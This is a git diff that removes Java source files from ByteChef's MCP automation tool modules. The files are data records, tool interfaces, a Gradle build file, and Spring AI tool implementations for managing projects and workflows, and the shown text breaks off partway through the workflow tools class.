-    @JsonProperty("status") @JsonPropertyDescription("The status of the version") String status,
-    @JsonProperty("description") @JsonPropertyDescription("The description of the version") String description,
-    @JsonProperty("published_date") @JsonPropertyDescription("When the version was published") Instant publishedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowInfo.java
deleted file mode 100644
index 68e2cbfa6f2..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowInfo.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-
-/**
- * Project workflow information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectWorkflowInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project workflow") Long id,
-    @JsonProperty("project_id") @JsonPropertyDescription("The ID of the project this workflow belongs to") long projectId,
-    @JsonProperty("project_version") @JsonPropertyDescription("The version of the project") int projectVersion,
-    @JsonProperty("workflow_id") @JsonPropertyDescription("The unique identifier of the workflow") String workflowId,
-    @JsonProperty("workflow_uuid") @JsonPropertyDescription("The uuid of the workflow") String workflowUuid,
-    @JsonProperty("created_date") @JsonPropertyDescription("When the workflow was created") Instant createdDate,
-    @JsonProperty("last_modified_date") @JsonPropertyDescription("When the workflow was last modified") Instant lastModifiedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowTools.java
deleted file mode 100644
index e0a79eeff2a..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowTools.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-/**
- * Interface for project workflow tools operations including create, update and delete.
- *
- * @author Marko Kriskovic
- */
-public interface ProjectWorkflowTools extends ReadProjectWorkflowTools {
-
-    ProjectWorkflowInfo createProjectWorkflow(long projectId, String definition);
-
-    String deleteWorkflow(String workflowId);
-
-    WorkflowInfo updateWorkflow(String workflowId, String definition);
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectTools.java
deleted file mode 100644
index b58a058d698..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectTools.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import java.util.List;
-
-/**
- * Interface for read-only project tools operations.
- *
- * @author Marko Kriskovic
- */
-public interface ReadProjectTools {
-
-    List<ProjectInfo> listProjects();
-
-    ProjectDetailInfo getProject(long projectId);
-
-    List<ProjectInfo> searchProjects(String query);
-
-    ProjectStatusInfo getProjectStatus(long projectId);
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectWorkflowTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectWorkflowTools.java
deleted file mode 100644
index a8a7c7cd287..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectWorkflowTools.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import java.util.List;
-
-/**
- * Interface for read-only project workflow tools operations.
- *
- * @author Marko Kriskovic
- */
-public interface ReadProjectWorkflowTools {
-
-    WorkflowInfo getWorkflow(String workflowId);
-
-    String getWorkflowBuildInstructions();
-
-    List<WorkflowInfo> listWorkflows(long projectId);
-
-    List<WorkflowInfo> searchWorkflows(String query, Long projectId);
-
-    WorkflowValidationResult validateWorkflow(String workflowId);
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/WorkflowInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/WorkflowInfo.java
deleted file mode 100644
index 877664d572a..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/WorkflowInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-
-/**
- * Workflow information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record WorkflowInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the workflow") String id,
-    @JsonProperty("project_workflow_id") @JsonPropertyDescription("The unique identifier of the project workflow") Long projectWorkflowId,
-    @JsonProperty("workflow_uuid") @JsonPropertyDescription("The uuid of the workflow") String workflowUuid,
-    @JsonProperty("name") @JsonPropertyDescription("The name of the workflow") String name,
-    @JsonProperty("description") @JsonPropertyDescription("The description of the workflow") String description,
-    @JsonProperty("definition") @JsonPropertyDescription("The definition of the workflow") String definition,
-    @JsonProperty("version") @JsonPropertyDescription("The version of the workflow") int version,
-    @JsonProperty("created_date") @JsonPropertyDescription("When the workflow was created") Instant createdDate,
-    @JsonProperty("last_modified_date") @JsonPropertyDescription("When the workflow was last modified") Instant lastModifiedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/WorkflowValidationResult.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/WorkflowValidationResult.java
deleted file mode 100644
index 036f55c7f87..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/WorkflowValidationResult.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-
-/**
- * Workflow validation result record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record WorkflowValidationResult(
-    @JsonProperty("valid") @JsonPropertyDescription("Whether the workflow is valid") boolean valid,
-    @JsonProperty("errors") @JsonPropertyDescription("Error details, which need to be fixed before the workflow can be valid") String errors,
-    @JsonProperty("warnings") @JsonPropertyDescription("Warning details that give additional information") String warnings) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/build.gradle.kts b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/build.gradle.kts
deleted file mode 100644
index 4b1e806f13b..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/build.gradle.kts
+++ /dev/null
@@ -1,13 +0,0 @@
-dependencies {
-    api(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-api"))
-    api(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-automation-api"))
-    api(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-platform"))
-
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.slf4j:slf4j-api")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation(project(":server:libs:automation:automation-configuration:automation-configuration-api"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-mcp:platform-mcp-api"))
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectToolsImpl.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectToolsImpl.java
deleted file mode 100644
index caced1aa5c4..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectToolsImpl.java
+++ /dev/null
@@ -1,366 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.impl;
-
-import com.bytechef.ai.mcp.tool.automation.api.ProjectDeploymentStatusInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectDetailInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectPublishInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectStatusInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectTools;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectVersionInfo;
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
-import com.bytechef.automation.configuration.domain.Project;
-import com.bytechef.automation.configuration.domain.ProjectDeployment;
-import com.bytechef.automation.configuration.domain.ProjectVersion;
-import com.bytechef.automation.configuration.domain.ProjectVersion.Status;
-import com.bytechef.automation.configuration.domain.Workspace;
-import com.bytechef.automation.configuration.service.ProjectDeploymentService;
-import com.bytechef.automation.configuration.service.ProjectService;
-import com.bytechef.platform.configuration.domain.Environment;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-import java.util.stream.Collectors;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.tool.annotation.Tool;
-import org.springframework.ai.tool.annotation.ToolParam;
-import org.springframework.stereotype.Component;
-
-/**
- * The ProjectTools class provides a suite of tools for managing and interacting with projects in the ByteChef platform.
- * It encompasses functionalities such as project creation, retrieval, update, deletion, publishing, and searching,
- * along with deployment status management. This class integrates with services to enable project workflows and
- * deployment configurations.
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnAiEnabled
-public class ProjectToolsImpl implements ProjectTools {
-
-    private static final Logger logger = LoggerFactory.getLogger(ProjectToolsImpl.class);
-
-    private final ProjectService projectService;
-    private final ProjectDeploymentService projectDeploymentService;
-
-    @SuppressFBWarnings("EI")
-    public ProjectToolsImpl(ProjectService projectService, ProjectDeploymentService projectDeploymentService) {
-        this.projectService = projectService;
-        this.projectDeploymentService = projectDeploymentService;
-    }
-
-    @Override
-    @Tool(
-        description = "List all projects in ByteChef. Returns a list of projects with their basic information including id, name, description, and status.")
-    public List<ProjectInfo> listProjects() {
-        try {
-            List<Project> projects = projectService.getProjects();
-
-            List<ProjectInfo> projectInfos = projects.stream()
-                .map(ProjectToolsImpl::getProjectInfo)
-                .collect(Collectors.toList());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Found {} projects", projectInfos.size());
-            }
-
-            return projectInfos;
-        } catch (Exception e) {
-            logger.error("Failed to list projects", e);
-
-            throw new RuntimeException("Failed to list projects: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Get comprehensive information about a specific project. Returns detailed project information including id, name, description, status, versions, and metadata.")
-    public ProjectDetailInfo getProject(
-        @ToolParam(description = "The ID of the project to retrieve") long projectId) {
-
-        try {
-            Project project = projectService.getProject(projectId);
-            List<ProjectVersion> projectVersions = projectService.getProjectVersions(projectId);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Retrieved project {} with {} versions", projectId, projectVersions.size());
-            }
-
-            ProjectVersion.Status lastStatus = project.getLastStatus();
-            List<ProjectVersionInfo> projectVersionInfos = projectVersions.stream()
-                .map(pv -> {
-                    ProjectVersion.Status status = pv.getStatus();
-
-                    return new ProjectVersionInfo(
-                        pv.getVersion(), status.name(), pv.getDescription(),
-                        pv.getPublishedDate() != null ? pv.getPublishedDate() : null);
-                })
-                .collect(Collectors.toList());
-
-            return new ProjectDetailInfo(
-                project.getId(), project.getName(), project.getDescription(), lastStatus.name(),
-                project.getCategoryId(), project.getWorkspaceId(), project.getTagIds(),
-                projectVersionInfos, project.getCreatedDate(), project.getLastModifiedDate(),
-                project.getLastPublishedDate() != null ? project.getLastPublishedDate() : null);
-        } catch (Exception e) {
-            logger.error("Failed to get project {}", projectId, e);
-
-            throw new RuntimeException("Failed to get project: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Full-text search across all projects. Returns a list of projects matching the search query in name or description.")
-    public List<ProjectInfo> searchProjects(
-        @ToolParam(description = "The search query to match against project names and descriptions") String query) {
-
-        try {
-            List<Project> allProjects = projectService.getProjects();
-            query = query.toLowerCase();
-
-            String lowerQuery = query.trim();
-
-            List<ProjectInfo> matchingProjects = allProjects.stream()
-                .filter(project -> {
-                    String name = project.getName();
-
-                    name = name != null ? name.toLowerCase() : "";
-
-                    String description = project.getDescription();
-
-                    description = description != null ? description.toLowerCase() : "";
-
-                    return name.contains(lowerQuery) || description.contains(lowerQuery);
-                })
-                .map(ProjectToolsImpl::getProjectInfo)
-                .collect(Collectors.toList());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Found {} projects matching query '{}'", matchingProjects.size(), query);
-            }
-
-            return matchingProjects;
-        } catch (Exception e) {
-            logger.error("Failed to search projects with query '{}'", query, e);
-            throw new RuntimeException("Failed to search projects: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Get project deployment and execution status. Returns detailed status information including deployment environments and their states.")
-    public ProjectStatusInfo getProjectStatus(
-        @ToolParam(description = "The ID of the project to get status for") long projectId) {
-
-        try {
-            Project project = projectService.getProject(projectId);
-            List<ProjectDeployment> deployments = projectDeploymentService.getProjectDeployments(projectId);
-
-            List<ProjectDeploymentStatusInfo> deploymentStatuses = deployments.stream()
-                .map(deployment -> {
-                    Environment environment = deployment.getEnvironment();
-
-                    return new ProjectDeploymentStatusInfo(
-                        deployment.getId(), environment.name(), deployment.isEnabled(),
-                        projectDeploymentService.isProjectDeploymentEnabled(deployment.getId()),
-                        deployment.getCreatedDate() != null ? deployment.getCreatedDate() : null,
-                        deployment.getLastModifiedDate() != null ? deployment.getLastModifiedDate() : null);
-                })
-                .collect(Collectors.toList());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Retrieved status for project {} with {} deployments", projectId,
-                    deploymentStatuses.size());
-            }
-
-            ProjectVersion.Status lastStatus = project.getLastStatus();
-
-            return new ProjectStatusInfo(
-                project.getId(), project.getName(), lastStatus.name(), project.isPublished(),
-                project.getLastProjectVersion(),
-                project.getLastPublishedDate() != null ? project.getLastPublishedDate() : null, deploymentStatuses);
-        } catch (Exception e) {
-            logger.error("Failed to get status for project {}", projectId, e);
-            throw new RuntimeException("Failed to get project status: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Create a new project with workflows. Returns the created project information including id, name, description, and status.")
-    public ProjectInfo createProject(
-        @ToolParam(description = "The name of the new project") String name,
-        @ToolParam(required = false, description = "The description of the new project") String description,
-        @ToolParam(required = false, description = "The category ID for the project") Long categoryId,
-        @ToolParam(required = false, description = "The workspace ID for the project") Long workspaceId,
-        @ToolParam(required = false, description = "The tag IDs to associate with the project") List<Long> tagIds) {
-
-        try {
-            Project.Builder projectBuilder = Project.builder()
-                .name(name);
-
-            if (description != null) {
-                description = description.trim();
-
-                if (!description.isEmpty()) {
-                    projectBuilder.description(description);
-                }
-            }
-
-            if (categoryId != null) {
-                projectBuilder.categoryId(categoryId);
-            }
-
-            if (workspaceId != null) {
-                projectBuilder.workspaceId(workspaceId);
-            } else {
-                projectBuilder.workspaceId(Workspace.DEFAULT_WORKSPACE_ID);
-            }
-
-            if (tagIds != null && !tagIds.isEmpty()) {
-                projectBuilder.tagIds(tagIds);
-            }
-
-            Project project = projectService.create(projectBuilder.build());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Created project {} with name '{}'", project.getId(), project.getName());
-            }
-
-            Status lastStatus = project.getLastStatus();
-
-            return new ProjectInfo(
-                project.getId(), project.getName(), project.getDescription(), lastStatus.name(),
-                project.getCreatedDate(), project.getLastModifiedDate());
-        } catch (Exception e) {
-            logger.error("Failed to create project with name '{}'", name, e);
-
-            throw new RuntimeException("Failed to create project: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Update project settings and metadata. Returns the updated project information including id, name, description, and status.")
-    public ProjectInfo updateProject(
-        @ToolParam(description = "The ID of the project to update") long projectId,
-        @ToolParam(required = false, description = "The new name of the project") String name,
-        @ToolParam(required = false, description = "The new description of the project") String description,
-        @ToolParam(required = false, description = "The new category ID for the project") Long categoryId,
-        @ToolParam(required = false, description = "The new tag IDs to associate with the project") List<Long> tagIds) {
-
-        try {
-            Project existingProject = projectService.getProject(projectId);
-
-            if (name != null) {
-                name = name.trim();
-            }
-
-            existingProject.setName(name != null && !name.isEmpty() ? name : existingProject.getName());
-            existingProject.setDescription(description != null ? description : existingProject.getDescription());
-            existingProject.setCategoryId(categoryId != null ? categoryId : existingProject.getCategoryId());
-
-            if (tagIds != null) {
-                existingProject.setTagIds(tagIds);
-            }
-
-            Project updatedProject = projectService.update(existingProject);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Updated project {} with name '{}'", updatedProject.getId(), updatedProject.getName());
-            }
-
-            Status lastStatus = updatedProject.getLastStatus();
-
-            return new ProjectInfo(
-                updatedProject.getId(), updatedProject.getName(), updatedProject.getDescription(), lastStatus.name(),
-                updatedProject.getCreatedDate(), updatedProject.getLastModifiedDate());
-        } catch (Exception e) {
-            logger.error("Failed to update project {}", projectId, e);
-
-            throw new RuntimeException("Failed to update project: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Delete a project and all its workflows. Returns a confirmation message.")
-    public String deleteProject(
-        @ToolParam(description = "The ID of the project to delete") long projectId) {
-
-        try {
-            Project project = projectService.getProject(projectId);
-            String projectName = project.getName();
-
-            projectService.delete(projectId);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Deleted project {} with name '{}'", projectId, projectName);
-            }
-
-            return "Project '" + projectName + "' (ID: " + projectId +
-                ") has been successfully deleted along with all its workflows.";
-        } catch (Exception e) {
-            logger.error("Failed to delete project {}", projectId, e);
-
-            throw new RuntimeException("Failed to delete project: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Publish a project version for deployment. Returns the published project version information.")
-    public ProjectPublishInfo publishProject(
-        @ToolParam(description = "The ID of the project to publish") long projectId,
-        @ToolParam(required = false, description = "The description for this published version") String description) {
-
-        try {
-            int publishedVersion = projectService.publishProject(projectId, description, false);
-
-            Project updatedProject = projectService.getProject(projectId);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug(
-                    "Published project {} version {} with description '{}'", projectId, publishedVersion, description);
-            }
-
-            return new ProjectPublishInfo(
-                updatedProject.getId(), updatedProject.getName(), publishedVersion, description,
-                updatedProject.getLastPublishedDate() != null ? updatedProject.getLastPublishedDate() : null);
-        } catch (Exception e) {
-            logger.error("Failed to publish project {}", projectId, e);
-            throw new RuntimeException("Failed to publish project: " + e.getMessage(), e);
-        }
-    }
-
-    private static ProjectInfo getProjectInfo(Project project) {
-        Instant lastPublishedDate = project.getLastPublishedDate();
-
-        Status lastStatus = Status.PUBLISHED;
-
-        if (lastPublishedDate == null) {
-            lastStatus = Status.DRAFT;
-        }
-
-        return new ProjectInfo(
-            project.getId(), project.getName(), project.getDescription(), lastStatus.name(),
-            project.getCreatedDate(), project.getLastModifiedDate());
-    }
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImpl.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImpl.java
deleted file mode 100644
index 79de78efb7e..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImpl.java
+++ /dev/null
@@ -1,356 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.impl;
-
-import com.bytechef.ai.mcp.tool.automation.api.ProjectWorkflowInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectWorkflowTools;
-import com.bytechef.ai.mcp.tool.automation.api.WorkflowInfo;
-import com.bytechef.ai.mcp.tool.automation.api.WorkflowValidationResult;
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
-import com.bytechef.ai.mcp.tool.platform.TaskTools;
-import com.bytechef.automation.configuration.domain.ProjectWorkflow;
-import com.bytechef.automation.configuration.dto.ProjectWorkflowDTO;
-import com.bytechef.automation.configuration.facade.ProjectWorkflowFacade;
-import com.bytechef.platform.workflow.validator.WorkflowValidator;
-import com.bytechef.platform.workflow.validator.model.PropertyInfo;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.HashMap;
-import java.util.List;
-import org.apache.commons.lang3.StringUtils;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.tool.annotation.Tool;
-import org.springframework.ai.tool.annotation.ToolParam;
-import org.springframework.stereotype.Component;
-
-/**
- * The ProjectWorkflowTools class provides utility methods and components to facilitate the management and execution of
- * project workflows.
- *
- * @author Ivica Cardic
- * @author Marko Kriskovic
- */
-@Component
-@ConditionalOnAiEnabled
-public class ProjectWorkflowToolsImpl implements ProjectWorkflowTools {
-
-    private static final Logger logger = LoggerFactory.getLogger(ProjectWorkflowToolsImpl.class);
-
-    private final ProjectWorkflowFacade projectWorkflowFacade;
-    private final TaskTools taskTools;
-
-    private static final String DEFAULT_DEFINITION = """
-        {
-            "label": "workflowName",
-            "description": "workflowDescription",
-            "inputs": [],
-            "triggers": [
-                {
-                    "label": "Manual",
-                    "name": "trigger_1",
-                    "type": "manual/v1/manual"
-                }
-            ],
-            "tasks": []
-        }
-        """;
-
-    @SuppressFBWarnings("EI")
-    public ProjectWorkflowToolsImpl(ProjectWorkflowFacade projectWorkflowFacade, TaskTools taskTools) {
-        this.projectWorkflowFacade = projectWorkflowFacade;
-        this.taskTools = taskTools;
-    }
-
-    @Override
-    @Tool(
-        description = "Get comprehensive information about a specific workflow. Returns detailed project information including id, name, description, version, definition, project workflow id, created date, last modified date.")
-    public WorkflowInfo getWorkflow(
-        @ToolParam(description = "The ID of the workflow to retrieve") String workflowId) {
-
-        try {
-            ProjectWorkflowDTO projectWorkflowDTO = projectWorkflowFacade.getProjectWorkflow(workflowId);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Retrieved workflow {}", projectWorkflowDTO.getProjectWorkflowId());
-            }
-
-            return new WorkflowInfo(
-                projectWorkflowDTO.getId(), projectWorkflowDTO.getProjectWorkflowId(),
-                projectWorkflowDTO.getWorkflowUuid(), projectWorkflowDTO.getLabel(),
-                projectWorkflowDTO.getDescription(), projectWorkflowDTO.getDefinition(),
-                projectWorkflowDTO.getVersion(),
-                projectWorkflowDTO.getCreatedDate() != null ? projectWorkflowDTO.getCreatedDate() : null,
-                projectWorkflowDTO.getLastModifiedDate() != null ? projectWorkflowDTO.getLastModifiedDate() : null);
-        } catch (Exception e) {
-            logger.error("Failed to get workflow {}", workflowId, e);
-
-            throw new RuntimeException("Failed to get workflow: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @SuppressFBWarnings("VA")
-    @Tool(description = "Instructions for building workflows")
-    public String getWorkflowBuildInstructions() {
-        return """
-            The workflow needs to be in JSON format similar to:
-            %s
-
-            - Every workflow must only have one trigger, but as many actions or task dispatchers as needed
-
-            Output properties:
-            Some tasks have output properties that you get with getTaskOutputProperty() tool. Output property is a response to the task.
-            For example: the action getMail will probably have the mail parameters as an output.
-            You can reference the output property in a format similar to:
-            ${taskName.property}
-            ${taskName.arrayProperty[1]}
-            ${taskName.objectProperty.property}}
-            """
-            .formatted(DEFAULT_DEFINITION);
-    }
-
-    @Override
-    @Tool(
-        description = "List all workflows in a project. Returns a list of workflows with their basic information including id, name and description")
-    public List<WorkflowInfo> listWorkflows(
-        @ToolParam(description = "The ID of the project") long projectId) {
-
-        try {
-            List<ProjectWorkflowDTO> workflows = projectWorkflowFacade.getProjectWorkflows(projectId);
-
-            List<WorkflowInfo> workflowInfos = workflows.stream()
-                .map(workflow -> new WorkflowInfo(workflow.getId(),
-                    workflow.getProjectWorkflowId(),
-                    workflow.getWorkflowUuid(),
-                    workflow.getLabel(), workflow.getDescription(), workflow.getDefinition(), workflow.getVersion(),
-                    workflow.getCreatedDate() != null ? workflow.getCreatedDate() : null,
-                    workflow.getLastModifiedDate() != null ? workflow.getLastModifiedDate() : null))
-                .toList();
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Found {} projects", workflowInfos.size());
-            }
-
-            return workflowInfos;
-        } catch (Exception e) {
-            logger.error("Failed to list project workflows", e);
-
-            throw new RuntimeException("Failed to list project workflows: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Full-text search across workflows in projects. Returns a list of workflows matching the search query in name or description.")
